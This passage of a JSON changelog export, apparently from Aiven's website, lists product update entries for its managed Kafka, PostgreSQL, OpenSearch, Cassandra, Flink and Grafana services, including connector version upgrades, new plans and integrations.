"},{"_key":"38263109a35c1","_type":"span","marks":["19c5ec706c84"],"text":"maintenance update"},{"_key":"38263109a35c2","_type":"span","marks":[],"text":" is required to use this feature. For more details, see "},{"_key":"38263109a35c3","_type":"span","marks":["e4b84fdb7380"],"text":"Aiven for OpenSearch documentation."}],"markDefs":[{"_key":"19c5ec706c84","_type":"link","href":"https://aiven.io/docs/platform/concepts/maintenance-window#maintenance-updates"},{"_key":"e4b84fdb7380","_type":"link","href":"https://aiven.io/docs/products/opensearch"}],"style":"normal"}],"publishedAt":"2024-03-04T15:37:00.000Z","tags":[{"_key":"33297cb5a8e8","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"New alert filtering advanced configuration"} {"_createdAt":"2022-10-27T09:06:18Z","_i18n_lang":"en","_id":"c96d6dcd-4d7c-4fb7-b060-07d82520b1f6","_rev":"WYf15BwQWb3V4yHfbxOdZT","_type":"changelog","_updatedAt":"2022-10-27T09:06:18Z","changeType":"","description":[{"_key":"a2b41c1b-d76a-4f59-9fe7-a7f252a60323","_type":"block","children":[{"_key":"81e93ee1-b4a6-46b9-bbb8-930c9aafde83","_type":"span","marks":[],"text":"Please see the "},{"_key":"0e41ccff-3e99-42b0-8ede-2abd742ef58b","_type":"span","marks":["m8432604437591"],"text":"documentation"},{"_key":"673b0dbb-8c75-48e0-95ca-858634e9cd82","_type":"span","marks":[],"text":". This update contains a small breaking change in the configuration, please check the "},{"_key":"2f442a5b-06d1-4276-865f-5be0a27f2d78","_type":"span","marks":["m10757067126016"],"text":"migration guide"},{"_key":"2341b1d6-303a-47e2-ab39-d09f9a045889","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8432604437591","_type":"link","href":"https://github.com/wepay/kafka-connect-bigquery/blob/1.6.5/README.md"},{"_key":"m10757067126016","_type":"link","href":"https://help.aiven.io/en/articles/4198733-migrating-bigquery-kafka-connector-from-1-2-0-to-1-6-5-or-later"}],"style":"normal"}],"publishedAt":"2020-08-04T00:00:00.000Z","tags":[{"_key":"b7c2cb18-7fcb-44de-aa17-1b1dd6e52c14","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect sink connector for Google BigQuery version has been updated to version 1.6.5"} {"_createdAt":"2022-10-27T09:09:38Z","_i18n_lang":"en","_id":"ca594433-9fa8-457f-88ca-7eb7d9d2a59e","_rev":"7JYD5XroFCjaK9NJzk3y6q","_type":"changelog","_updatedAt":"2022-10-27T09:09:38Z","changeType":"","description":[{"_key":"f0a977df-5df6-4df0-b9ea-6d00cfcc6734","_type":"block","children":[{"_key":"49c8fa38-9b82-4669-87f5-eb031d9cfba7","_type":"span","marks":[],"text":"The new plans replace the previous 5x and 7x tiers and increase the scaling options available for all Aiven for Apache Kafka users. The new plans are optimized for high availability across cloud regions with three or more availability zones."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-10-01T00:00:00.000Z","tags":[{"_key":"f5eb236c-40f7-4cf5-a0ca-444fa942dcd3","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"New Aiven for Apache Kafka plans with 6, 9 and 15 brokers are now generally available"} {"__i18n_lang":"en","_createdAt":"2024-07-23T06:04:47Z","_id":"ca65a8e2-cca6-49bc-9112-fccbf57145af","_rev":"mr6Ps1Vz8WkVL9G5VdiIRW","_type":"changelog","_updatedAt":"2024-07-24T15:27:01Z","changeType":"improved","description":[{"_key":"e7bcb5826aeb","_type":"block","children":[{"_key":"f9dc2ce41d860","_type":"span","marks":[],"text":"Karapace has been upgraded to version 3.14.0. Key changes introduced in this release:"}],"markDefs":[],"style":"normal"},{"_key":"44ae6c97aeae","_type":"block","children":[{"_key":"de19077602a40","_type":"span","marks":["strong"],"text":"New Feature:"}],"markDefs":[],"style":"normal"},{"_key":"5822bbb98574","_type":"block","children":[{"_key":"7f8d19d850860","_type":"span","marks":[],"text":"Introduced a new master coordinator that uses the `"},{"_key":"7f8d19d850861","_type":"span","marks":["code"],"text":"aiokafka`"},{"_key":"7f8d19d850862","_type":"span","marks":[],"text":" library, enhancing performance and reliability by improving server change handling and enabling asynchronous operations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"06206026cfc3","_type":"block","children":[{"_key":"7ece16875e3b0","_type":"span","marks":["strong"],"text":"Enhancements and fixes:"}],"markDefs":[],"style":"normal"},{"_key":"ed77f963b2cf","_type":"block","children":[{"_key":"aecfde1381980","_type":"span","marks":[],"text":"Fixed cache management to selectively update only required metadata segments instead of full replacement."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f9b0789bee84","_type":"block","children":[{"_key":"c65570e0b1f70","_type":"span","marks":[],"text":"Fixed offset management to move offsets consistently, even with invalid JSON records, preventing processing delays."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bf3d9d540b06","_type":"block","children":[{"_key":"1a71755f9b6f0","_type":"span","marks":[],"text":"Refactored schema version resolution and validation logic, including support for '-1' as the latest version."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4966673cacf8","_type":"block","children":[{"_key":"8cbe0666fedf0","_type":"span","marks":[],"text":"Refactored version class to remove integer inheritance, enhancing its structure for stronger typing and robustness."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5056e39479fb","_type":"block","children":[{"_key":"f0eafbec71ec0","_type":"span","marks":[],"text":"Increased test coverage to encompass JSON schema validation across varied subjects."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7ce5096fa005","_type":"block","children":[{"_key":"750c94a3e4670","_type":"span","marks":[],"text":"Implemented tests for storing soft-deleted schemas post-compaction to ensure accessibility and resolve previous visibility issues."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"543c19127a43","_type":"block","children":[{"_key":"40f8247535eb0","_type":"span","marks":[],"text":"Removed "},{"_key":"40f8247535eb1","_type":"span","marks":["code"],"text":"`kafka-python"},{"_key":"40f8247535eb2","_type":"span","marks":[],"text":"` dependency, transitioning error mappings to the `"},{"_key":"40f8247535eb3","_type":"span","marks":["code"],"text":"aiokafka"},{"_key":"40f8247535eb4","_type":"span","marks":[],"text":"` library."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ffbc5ca31c33","_type":"block","children":[{"_key":"11126f6ceb4f0","_type":"span","marks":[],"text":"For a complete list of fixes and detailed information, see the "},{"_key":"11126f6ceb4f1","_type":"span","marks":["b0782ff2b621"],"text":"Karapace release notes"},{"_key":"11126f6ceb4f2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"b0782ff2b621","_type":"link","href":"https://github.com/Aiven-Open/karapace/releases/tag/3.14.0"}],"style":"normal"}],"publishedAt":"2023-06-26T06:02:00.000Z","tags":[{"_key":"6692a8cd4773","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace version 3.14.0"} {"_createdAt":"2022-10-27T09:08:54Z","_i18n_lang":"en","_id":"cad020c1-7950-4245-aa3d-d4d62426456b","_rev":"WYf15BwQWb3V4yHfbxPG3X","_type":"changelog","_updatedAt":"2022-10-27T09:08:54Z","changeType":"","publishedAt":"2019-02-27T00:00:00.000Z","tags":[{"_key":"2e580e0f-32a6-4b4e-80bd-ba566b804e88","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL versions 10 and 11 now include \u003ca href=\"https://github.com/ChristophBerg/postgresql-unit\" rel=\"nofollow noopener noreferrer\"\u003ethe SI unit extension\u003c/a\u003e."} {"_createdAt":"2022-10-27T09:04:15Z","_i18n_lang":"en","_id":"cc0d0cfe-1d1e-4117-b089-e2272deec47f","_rev":"G4qVVLRzbD2hZSG98Tu9hO","_type":"changelog","_updatedAt":"2022-10-27T09:04:15Z","changeType":"","description":[{"_key":"025750ee-09bc-422b-aec3-d6299e3ca7cf","_type":"block","children":[{"_key":"9a60d199-81cb-40a5-8a7c-74d27dfb2ca9","_type":"span","marks":[],"text":"See "},{"_key":"45de8a9e-66d3-4750-8eb3-3807896f6c4b","_type":"span","marks":["m13587437576673"],"text":"Grafana AzureAD OAuth documentation"},{"_key":"17e118ae-604c-4a04-8860-48a5a9df5c1b","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m13587437576673","_type":"link","href":"https://grafana.com/docs/grafana/latest/auth/azuread/"}],"style":"normal"}],"publishedAt":"2021-05-21T00:00:00.000Z","tags":[{"_key":"0f01fdc1-ca55-41e4-a940-9c640b24cb04","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for Azure Active Directory based authentication to be specified via user configuration"} {"__i18n_lang":"en","_createdAt":"2024-01-25T12:53:52Z","_id":"cc735df9-ad38-4b3e-8ab6-7d14bc53ca78","_rev":"VeNKqGNmt13PzvGhqnucTS","_type":"changelog","_updatedAt":"2024-01-25T14:48:51Z","changeType":"improved","description":[{"_key":"ff9d641bf07e","_type":"block","children":[{"_key":"c9f26c07bcd00","_type":"span","marks":[],"text":"Aiven for Apache Cassandra® has been upgraded to version 4.1, which contains new features and a variety of improvements to version 4.0.11. Check out "},{"_key":"c9f26c07bcd01","_type":"span","marks":["66c8b00c38d4"],"text":"Cassandra release notes"},{"_key":"c9f26c07bcd02","_type":"span","marks":[],"text":" for all the details on what release 4.1 introduces."}],"markDefs":[{"_key":"66c8b00c38d4","_type":"link","href":"https://cassandra.apache.org/doc/4.1/cassandra/new/index.html"}],"style":"normal"},{"_key":"077bb9fd6653","_type":"block","children":[{"_key":"f66f74cebb800","_type":"span","marks":["strong"],"text":"Key new features"}],"markDefs":[],"style":"normal"},{"_key":"5e7877c47640","_type":"block","children":[{"_key":"07a93865b8ce0","_type":"span","marks":[],"text":"Paxos v2"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"55eb930bf23c","_type":"block","children":[{"_key":"be8a28c5df060","_type":"span","marks":[],"text":"Guardrails"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"87c20dc5961b","_type":"block","children":[{"_key":"50aa9fd2cf920","_type":"span","marks":[],"text":"Client-side password hashing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"29a6709374df","_type":"block","children":[{"_key":"73f2323e62600","_type":"span","marks":[],"text":"Partition denylist"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"publishedAt":"2024-01-18T13:07:00.000Z","tags":[{"_key":"d0dd818d64b3","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"Aiven for Apache Cassandra® upgraded to 4.1"} {"_createdAt":"2022-10-27T09:09:25Z","_i18n_lang":"en","_id":"ccb040f9-1e10-4a2c-ba71-ec3468ca746d","_rev":"GNtcCQgxf3P3DqpLt1k36L","_type":"changelog","_updatedAt":"2022-10-27T09:09:25Z","changeType":"","description":[{"_key":"3e18568a-057c-402a-83f9-a20daf41b4eb","_type":"block","children":[{"_key":"c931678d-9983-4ada-abce-b05584ec5245","_type":"span","marks":[],"text":"See "},{"_key":"94658c4f-f4b9-4467-80bf-10d57ecba477","_type":"span","marks":["m1217047149842"],"text":"this help article"},{"_key":"90df8a8c-1edf-459d-884c-f50b557ba555","_type":"span","marks":[],"text":" for more details. Existing services may need to install an optional maintenance upgrade to make the functionality available."}],"markDefs":[{"_key":"m1217047149842","_type":"link","href":"https://help.aiven.io/services/integrations/using-aiven-with-prometheus"}],"style":"normal"}],"publishedAt":"2018-11-08T00:00:00.000Z","tags":[{"_key":"210090b6-9788-45b4-b4b4-77fd3703c129","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"4e68991f-26a6-4931-aa50-a7423462044b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"057ada11-9e02-4592-8dc8-50e4c28aea3f","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Aiven for Elasticsearch, Kafka, PostgreSQL and Redis services now support Prometheus integration"} {"__i18n_lang":"en","_createdAt":"2023-02-24T14:36:27Z","_id":"cd34ee84-cefc-4ccc-a881-51d2d1e1824a","_rev":"RC5pgePlmGi6uvVNnp28B0","_type":"changelog","_updatedAt":"2023-02-24T14:36:27Z","changeType":"new","description":[{"_key":"27befa47599f","_type":"block","children":[{"_key":"f084d1e96b650","_type":"span","marks":[],"text":"Aiven for Apache Flink® now supports Confluent Avro format, a serialization format that can be integrated with a schema registry. This new feature enables users to create a source table in Aiven for Apache Flink® that uses the Confluent Avro data format in conjunction with Karapace, an open-source schema registry for Apache Kafka, allowing for real-time transformations of data streams in the Confluent Avro format. For information on how to use this feature to stream Avro messages, see "},{"_key":"bbd759049dfa","_type":"span","marks":["68f7a3da4a3f"],"text":"Create Confluent Avro-based Apache Flink® table"},{"_key":"80aca2edce53","_type":"span","marks":[],"text":" documentation. "}],"markDefs":[{"_key":"68f7a3da4a3f","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/flink-confluent-avro"}],"style":"normal"}],"publishedAt":"2023-02-24T14:17:00.000Z","tags":[{"_key":"2cbb262f5c47","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Confluent Avro format support in Aiven for Apache Flink®"} {"_createdAt":"2022-10-27T09:06:38Z","_i18n_lang":"en","_id":"cdd4d0aa-729e-4be9-926d-f3aa89881872","_rev":"Dn65xz5Z1k22g7BhlztIaN","_type":"changelog","_updatedAt":"2022-10-27T09:06:38Z","changeType":"","publishedAt":"2020-05-23T00:00:00.000Z","tags":[{"_key":"edd4ef8b-0286-47d7-bffd-cd21295d035b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.7.1."} {"_createdAt":"2022-10-27T09:07:54Z","_i18n_lang":"en","_id":"ce9df0e6-bc83-4af1-99ec-86e992dece92","_rev":"7JYD5XroFCjaK9NJzk3uxi","_type":"changelog","_updatedAt":"2022-10-27T09:07:54Z","changeType":"","description":[{"_key":"be9e8152-8552-48ae-9275-3aa751bf5404","_type":"block","children":[{"_key":"76dc5035-4491-4e1b-a93f-53b6d5654bb6","_type":"span","marks":[],"text":"Please see "},{"_key":"76fc4ebe-0ce3-492e-81bc-9926c8dae422","_type":"span","marks":["m12271130789815"],"text":"the changelog"},{"_key":"541435ad-23fb-4a24-bc60-4eb94800af5d","_type":"span","marks":[],"text":" and "},{"_key":"d32f6b00-c5dc-4643-8bc2-2e7fd8f340d4","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"da62db0f-76cb-4d81-bdc5-7f934fdba441","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m12271130789815","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v0.5.0"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2019-09-30T00:00:00.000Z","tags":[{"_key":"190fd6e8-875c-4933-a0fa-b07c9133355c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 0.5.0"} {"_createdAt":"2022-10-27T09:07:06Z","_i18n_lang":"en","_id":"ced618aa-a70b-4000-97bd-eaa821987149","_rev":"GNtcCQgxf3P3DqpLt1jb9J","_type":"changelog","_updatedAt":"2022-10-27T09:07:06Z","changeType":"","description":[{"_key":"c5ea97c4-f508-469b-82ef-9d21990a42bf","_type":"block","children":[{"_key":"83a9c215-93a1-4f9e-9f9c-8ddb629cfe13","_type":"span","marks":[],"text":"Please see "},{"_key":"0b75542e-d57f-44ed-b8f3-5f1b9210b9d6","_type":"span","marks":["m15245856219218"],"text":"the changelog"},{"_key":"3bcb7fb4-2b76-4f9f-a355-d9db8c00128c","_type":"span","marks":[],"text":" and "},{"_key":"f391954a-e40b-4d1c-a561-5fc64e817134","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"1518822c-3364-4607-bbb8-ebf14652afb0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15245856219218","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.1.0"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-02-14T00:00:00.000Z","tags":[{"_key":"101e8933-04eb-489c-baf1-7dca3b7a1fd2","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.1.0"} {"_createdAt":"2022-10-27T09:10:08Z","_i18n_lang":"en","_id":"ceeba26c-5c8b-48ef-9c9e-090974911c5c","_rev":"tsRucK8MIVb3810duaE6yW","_type":"changelog","_updatedAt":"2022-10-27T09:10:08Z","changeType":"","description":[{"_key":"a788b657-8ffc-4985-bb72-45b77563e92e","_type":"block","children":[{"_key":"1ac03420-b61f-4d4a-a75b-27fa396a7815","_type":"span","marks":[],"text":"To view the certificate, visit the "},{"_key":"6fb28165-f403-4a5d-a49c-b06ccb0b6415","_type":"span","marks":["m14664967079406"],"text":"Security and Compliance"},{"_key":"38a48fc5-66bc-4bac-86a9-816cbd87f8bd","_type":"span","marks":[],"text":" page."}],"markDefs":[{"_key":"m14664967079406","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"}],"publishedAt":"2018-05-31T00:00:00.000Z","tags":[],"title":"Aiven is now certified compliant with the ISO/IEC 27001:2013 information security standard"} {"_createdAt":"2022-10-27T09:07:51Z","_i18n_lang":"en","_id":"cf2bd5ca-20b1-4e19-aa52-a3a9651538b8","_rev":"RS2LhK1JP0SKK0JvX1QrH1","_type":"changelog","_updatedAt":"2022-10-27T09:07:51Z","changeType":"","description":[{"_key":"ce3e0685-82d9-4d38-8c6d-6391bc6cca7b","_type":"block","children":[{"_key":"13c4a04b-df24-4d4e-b8b4-4cd225a90d7b","_type":"span","marks":[],"text":"Please see the "},{"_key":"0ae3a8eb-3569-4a5c-b973-c8b3c1dfb86e","_type":"span","marks":["m3009479415037"],"text":"Release Notes"},{"_key":"501229f2-05c2-45f3-9e4e-c916300b0e8f","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m3009479415037","_type":"link","href":"https://debezium.io/releases/0.10/release-notes/"}],"style":"normal"}],"publishedAt":"2019-10-07T00:00:00.000Z","tags":[{"_key":"9b1a31c1-af20-4910-b825-4192d59c9332","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 0.10.0.Final now available"} {"_createdAt":"2022-10-27T09:03:39Z","_i18n_lang":"en","_id":"cf7417e9-6ba4-4d9b-989f-c9d1744b4432","_rev":"G4qVVLRzbD2hZSG98TtyA9","_type":"changelog","_updatedAt":"2022-10-27T09:03:39Z","changeType":"","description":[{"_key":"1c90bd28-ab9f-4b5c-bc8b-9cf96f039a8c","_type":"block","children":[{"_key":"ebb6bd5c-80b4-46b6-81cc-d6cd1cac3abb","_type":"span","marks":[],"text":"For more info, please read our "},{"_key":"f1f88125-dfc2-4fe7-84ab-b2df4b547646","_type":"span","marks":["m11459347348403"],"text":"help article"},{"_key":"1a7a1c46-1d36-4746-9b46-b4cfad26340d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11459347348403","_type":"link","href":"https://help.aiven.io/en/articles/5424825"}],"style":"normal"}],"publishedAt":"2021-09-21T00:00:00.000Z","tags":[{"_key":"d867bdf6-de30-436c-8d74-67016c280803","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Aiven for OpenSearch released as the successor of Aiven for Elasticsearch"} {"_createdAt":"2022-10-27T09:03:49Z","_i18n_lang":"en","_id":"cf86b440-5745-46a3-88af-00ad02e886d5","_rev":"G4qVVLRzbD2hZSG98Tu0aJ","_type":"changelog","_updatedAt":"2022-10-27T09:03:49Z","changeType":"","description":[{"_key":"32b4850e-62ec-49e4-99eb-dd3cab9fefe4","_type":"block","children":[{"_key":"a057eae0-6ff4-44c4-ade7-6a67c13775e2","_type":"span","marks":[],"text":"Please see the "},{"_key":"b1e79581-5e90-467e-916c-a0746bb3e470","_type":"span","marks":["m17452505447564"],"text":"release notes"},{"_key":"24e380b7-3309-4978-b13e-ce83bfceffbd","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m17452505447564","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v8-0/"}],"style":"normal"}],"publishedAt":"2021-08-09T00:00:00.000Z","tags":[{"_key":"9842ed08-12c4-499e-91e2-533cdd483d10","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 8.0.6"} {"_createdAt":"2022-10-27T09:12:05Z","_i18n_lang":"en","_id":"cfd2ab1d-409f-4a68-ae61-44131ec4ddfa","_rev":"GNtcCQgxf3P3DqpLt1kf8n","_type":"changelog","_updatedAt":"2022-10-27T09:12:05Z","changeType":"","description":[{"_key":"d93e7d6f-f851-4e9d-8ad8-8a94cc327b0e","_type":"block","children":[{"_key":"a08b7bcf-354d-4f0c-acb1-1c997196ec4a","_type":"span","marks":[],"text":"To see what's new please refer to the "},{"_key":"5bceb593-5b13-4a09-9852-9a5934e42cdb","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"38a1b6dc-befa-4d45-bcef-d1eb96936922","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-03-07T00:00:00.000Z","tags":[{"_key":"110f0934-21f2-4f79-b128-6a5ae5ba0524","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated to release 4.1.2 and updated all Grafana plugins to latest versions"} {"_createdAt":"2022-10-27T09:10:57Z","_i18n_lang":"en","_id":"d00000c5-60d1-43f5-bc49-899e2255c53a","_rev":"Cf2WlCE8X5IGBBi7ld1MKQ","_type":"changelog","_updatedAt":"2022-10-27T09:10:57Z","changeType":"","description":[{"_key":"4dd7289d-7d15-488e-bcd8-68d29d1e2dfe","_type":"block","children":[{"_key":"5174085f-90b9-40dc-8055-ef35fd3baf2f","_type":"span","marks":[],"text":"See the "},{"_key":"7efd2034-a90f-4f56-996d-2fb1ee345a08","_type":"span","marks":["m12905846619666"],"text":"Aiven statement on Meltdown and Spectre vulnerabilities"},{"_key":"90509ad9-3d24-4bf6-b0a8-bf6f5eca87d5","_type":"span","marks":[],"text":" for more information."}],"markDefs":[{"_key":"m12905846619666","_type":"link","href":"https://help.aiven.io/incident-reports/aiven-statement-on-meltdown-and-spectre-vulnerabilities"}],"style":"normal"}],"publishedAt":"2018-01-10T00:00:00.000Z","tags":[],"title":"Initial fixes deployed for the Meltdown and Spectre vulnerabilities"} {"_createdAt":"2022-10-27T09:10:20Z","_i18n_lang":"en","_id":"d00610d1-0cb0-46e6-b568-7e3d0ab77a74","_rev":"ncjVtEY290Sap8rHbFwkfl","_type":"changelog","_updatedAt":"2022-10-27T09:10:20Z","changeType":"","description":[{"_key":"1f318908-696b-446a-90fe-5d9072aec37e","_type":"block","children":[{"_key":"3aa2d515-8802-4f3c-917a-f94dd293afac","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"86f481d3-3a81-4155-a031-ebb532503b40","_type":"span","marks":["m12796587202118"],"text":"help article"},{"_key":"491f4e2a-6643-45f7-8b42-82112ebb212b","_type":"span","marks":[],"text":" for more information."}],"markDefs":[{"_key":"m12796587202118","_type":"link","href":"https://help.aiven.io/services/getting-started-with-datadog"}],"style":"normal"}],"publishedAt":"2018-04-05T00:00:00.000Z","tags":[{"_key":"52601e4b-8144-4262-b627-a7d6e6eecb4b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"998c4f78-106c-4849-a50c-88ec9adfeb30","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"354d22fb-7979-4e51-aae1-5e7b176e81e4","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Datadog metrics support for Aiven for Elasticsearch, Kafka, PostgreSQL and Redis services"} {"_createdAt":"2022-10-27T09:10:19Z","_i18n_lang":"en","_id":"d0812b5c-a3b3-4e70-b29f-59fa3d276e85","_rev":"HEiYk6nGjmUICadcDbTbI1","_type":"changelog","_updatedAt":"2022-10-27T09:10:19Z","changeType":"","publishedAt":"2018-04-11T00:00:00.000Z","tags":[{"_key":"cb7ec770-0ada-458b-9bfb-032b29255682","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"},"DigitalOcean",{"_key":"ad3aa0cb-9692-44cf-89b7-df4ca612e8ca","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"},{"_key":"d212ca03-fce7-4f29-a38c-de3a4fc59d26","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"hostProvider"}],"title":"The prices of medium and larger Redis plans (Startup-14 and above) in DO, GCP and UpCloud were lowered by up to 40% in many regions."} {"_createdAt":"2022-10-27T09:06:55Z","_i18n_lang":"en","_id":"d08461ba-a928-4d3b-91bd-d4b32cf7b493","_rev":"Dn65xz5Z1k22g7BhlztJ23","_type":"changelog","_updatedAt":"2022-10-27T09:06:55Z","changeType":"","description":[{"_key":"b9d979ae-3bfb-4488-97a9-d73a0fe9d911","_type":"block","children":[{"_key":"11152d28-bb00-43f0-95e2-56552d32f4c8","_type":"span","marks":[],"text":"Please see the "},{"_key":"90bfe817-3c93-4e9f-a9ae-54c7826058b6","_type":"span","marks":["m13688922812812"],"text":"Release Notes"},{"_key":"bc495d46-8118-4f4e-bcd2-7401e80982e3","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m13688922812812","_type":"link","href":"https://debezium.io/releases/1.1/release-notes/"}],"style":"normal"}],"publishedAt":"2020-03-27T00:00:00.000Z","tags":[{"_key":"b5a5f587-55f0-4117-9747-9373e710800e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.1.0.Final is now available"} {"__i18n_lang":"en","_createdAt":"2023-05-23T15:05:13Z","_id":"d0c8415f-2247-4a03-8284-8651e838909e","_rev":"Bg5HPBiLdZofLBzDE3gGe8","_type":"changelog","_updatedAt":"2023-05-26T08:01:09Z","changeType":"improved","description":[{"_key":"87b11bb0b8fa","_type":"block","children":[{"_key":"742d75cc85930","_type":"span","marks":[],"text":"The Snowflake sink connector for Aiven for Apache Kafka® has been upgraded to version 1.9.3. This version brings several new features, important configuration changes, and improved error handling."}],"markDefs":[],"style":"normal"},{"_key":"e1a4f9d1175d","_type":"block","children":[{"_key":"0c4e103968790","_type":"span","marks":["strong"],"text":"New features"}],"markDefs":[],"style":"normal"},{"_key":"28c3fbae446a","_type":"block","children":[{"_key":"e6f80eb955a60","_type":"span","marks":["strong"],"text":"Support for n:1 topics:table"},{"_key":"e6f80eb955a61","_type":"span","marks":[],"text":" ("},{"_key":"e6f80eb955a62","_type":"span","marks":["3df0fa71b266"],"text":"SNOW-514303"},{"_key":"e6f80eb955a63","_type":"span","marks":[],"text":"): The connector now supports mapping multiple Kafka topics to a single Snowflake table."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3df0fa71b266","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/459"}],"style":"normal"},{"_key":"5b9dbd243525","_type":"block","children":[{"_key":"4033426758fb0","_type":"span","marks":["strong"],"text":"Schema mapping"},{"_key":"4033426758fb1","_type":"span","marks":[],"text":" ("},{"_key":"4033426758fb2","_type":"span","marks":["b14cef96f62a"],"text":"SNOW-625820"},{"_key":"4033426758fb3","_type":"span","marks":[],"text":"): The connector has enhanced support for schema mapping, allowing you to map Kafka topic schemas to Snowflake table schemas, providing flexibility and control over how your data is structured in Snowflake."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b14cef96f62a","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/467"}],"style":"normal"},{"_key":"6152204ca756","_type":"block","children":[{"_key":"f461ea9f3ace0","_type":"span","marks":["strong"],"text":"Auto table creation"},{"_key":"f461ea9f3ace1","_type":"span","marks":[],"text":" ("},{"_key":"f461ea9f3ace2","_type":"span","marks":["380c14e86cfa"],"text":"SNOW-628677"},{"_key":"f461ea9f3ace3","_type":"span","marks":[],"text":"): This new feature enables the automatic creation of Snowflake tables to store Kafka data, reducing manual configuration requirements."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"380c14e86cfa","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/pull/470"}],"style":"normal"},{"_key":"7f920bf85110","_type":"block","children":[{"_key":"8796d014f60c0","_type":"span","marks":["strong"],"text":"Configuration changes"}],"markDefs":[],"style":"normal"},{"_key":"024e511995f2","_type":"block","children":[{"_key":"06f27a4acf9a0","_type":"span","marks":["strong"],"text":"Exactly once for streaming ingest "},{"_key":"06f27a4acf9a1","_type":"span","marks":[],"text":"("},{"_key":"06f27a4acf9a2","_type":"span","marks":["baeedd2f94d5"],"text":"SNOW-536429"},{"_key":"06f27a4acf9a3","_type":"span","marks":[],"text":")"},{"_key":"06f27a4acf9a4","_type":"span","marks":["strong"],"text":": "},{"_key":"06f27a4acf9a5","_type":"span","marks":[],"text":"Configuration support has been introduced for exactly-once semantics during streaming data ingestion, guaranteeing data consistency and 